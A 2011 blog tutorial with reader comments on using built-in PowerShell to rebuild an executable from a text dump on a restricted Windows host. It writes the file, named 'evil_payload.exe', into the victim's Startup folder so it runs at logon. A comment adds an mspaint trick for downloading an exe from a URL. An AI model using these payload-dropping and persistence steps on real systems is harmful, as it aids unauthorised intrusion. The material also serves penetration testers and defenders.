Wednesday, September 14, 2011

Dropping Executables with Powershell

Scenario: You find yourself in a limited Windows user environment without the ability to transfer binary files over the network for one reason or another. So this rules out using a browser, ftp.exe, mspaint (yes, mspaint can be used to transfer binaries), etc. for file transfer. Suppose this workstation isn't even connected to the Internet. What existing options do you have to drop binaries on the target machine? There's the tried and true debug.exe method of assembling a text file with your payload. This method limits the size of your executable to 64K however since debug.exe is a 16-bit application. Also, Microsoft has since removed debug from recent versions of Windows. Also, Didier Stevens showed how easy it to embed executables in PDFs[1]. You can convert executables to VBscript and embed in Office documents as well. These apps won't necessarily be installed on every machine. Fortunately, Starting with Windows 7 and Server 2008, Powershell is installed by default.

Because Powershell implements the .NET framework, you have an incredible amount of power at your fingertips. I will demonstrate one use case whereby you can create an executable from a text file consisting of a hexadecimal representation of an executable. You can generate this text file using any compiled/scripting language you wish but since we're on the topic, I'll show you how to generate it in Powershell:

PS > [byte[]] $hex = get-content -encoding byte -path C:\temp\evil_payload.exe
PS > [System.IO.File]::WriteAllLines("C:\temp\hexdump.txt", ([string]$hex))

The first line reads in each byte of an executable and saves them to a byte array. The second line casts the bytes in the array as strings and writes them to a text file. The resultant text file will look something like this:

77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 232 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 0 124 58 138 68 29 84 217 68 29 84 217 68 29 84 217 99 219 41 217 66 29 84 217 99 219 47 217 79 29 84 217 68 29 85 217 189 29 84 217 99 219 58 217 71 29 84 217 99 219 57 217 125 29 84 217 99 219 40 217 69 29 84 217 99 219 44 217 69 29 84 217 82 105 99 104 68 29 84 217 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...

You can see that each byte is represented as a decimal (77,90 = "MZ").

Next, once you get the text file onto the target machine (a teensy/USB HID device would be an ideal use case), Powershell can be used to reconstruct the executable from the text file using the following lines:

PS > [string]$hex = get-content -path C:\Users\victim\Desktop\hexdump.txt
PS > [Byte[]] $temp = $hex -split ' '
PS > [System.IO.File]::WriteAllBytes("C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\evil_payload.exe", $temp)

The first line reads the hex dump into a string variable. The string is then split into a byte array using <space> as a delimiter. Finally, the byte array is written back to a file and thus, the original executable is recreated.

While writing this article, I stumbled upon Dave Kennedy and Josh Kelley's work with Powershell[2] where they stumbled upon this same method of generating executables. In fact several Metasploit payloads use a similar, albeit slicker method of accomplishing this using compression and base64 encoding. Please do check out the great work they've been doing with Powershell.

1. Didier Stevens, "Embedding and Hiding Files in PDF Documents," July 1, 2009, http://blog.didierstevens.com/2009/07/01/embedding-and-hiding-files-in-pdf-documents/

2. Dave Kennedy and Josh Kelley "Defcon 18 PowerShell OMFG…", August 31, 2010, http://www.secmaniac.com/august-2010/powershell_omfg/

14 comments:

  1. Hello,

    Nice writeup! I may take this chance to point you to my Spread project[1] which is discussing approaches to transfer files. It uses a very similar encoding as you have explained here :)

    Regards,

    Marc

    [1] http://www.computec.ch/projekte/spread/

    ReplyDelete
  2. transferring with Paint ? any example or references ?

    ReplyDelete
  3. Thanks Marc. Good stuff with the Spread project. Thanks for sharing. :D

    ReplyDelete
  4. Ange,

    Easy.

    1) Open mspaint.
    2) Go to the File->Open dialog box and enter the url of the file you want to download (http://example.com/evil.exe)
    3) mspaint will give you an error saying it couldn't load the image but it gives you the location in temporary internet files where the file was saved to.

    ReplyDelete
  5. If you can get the text file from a USB device, wouldn't it be simpler to just get the .exe from the USB?

    ReplyDelete
  6. Obviously, yes. The point of the posting was to point out that you can use built-in Windows tools to generate an executable. There's a ton of different ways to get an exe on a machine. This is just one more technique to add to your tool chest.

    ReplyDelete
  7. had a recent test in a restricted environment where this came in real handy, nice trick and thanks for the write up

    ReplyDelete
  8. I've never heard of this debug.exe trick, can you point me to references please?

    ReplyDelete
  9. exe2bat.exe. You'll find it in Backtrack in /pentest/windows-binaries/tools/

    ReplyDelete
  10. Came across this post today. The process worked as indicated; however, the file size was almost triple. Received the error that the program was too large to run in memory. Looking into the issue the file increase occurred during the original conversion to text. Attempted again with netcat same local file system for troubleshooting/verification. Same result. We are unsure as to why the file size grew exponentially. Any suggestions?

    ReplyDelete
    Replies
    1. I would make sure of the following:

      1) '77 90 144 0' are the first four bytes of your payload, assuming you're dealing with a PE executable, of course.

      2) '-encoding byte' is used when you read in the original exe

      If you say it's almost three times the size of the original, than you're probably not reading in bytes, rather the individual characters from the array. If that's the case, then the following instruction is crucial:

      [Byte[]] $temp = $hex -split ' '

      This method described in this post is good but far from ideal. Ideally, you'd write a script to compress the binary, hash it, then base64 encode it. Then do the reverse on the the victim machine.

      Delete
  11. how do you install powershell

    ReplyDelete
    Replies
    1. If you are running Vista or XP, download the Windows Management Framework 3.0. Otherwise, it's already installed.

      I recommend you check out the Hey, Scripting Guy blog (blogs.technet.com/b/heyscriptingguy) for learning the basics.

      Delete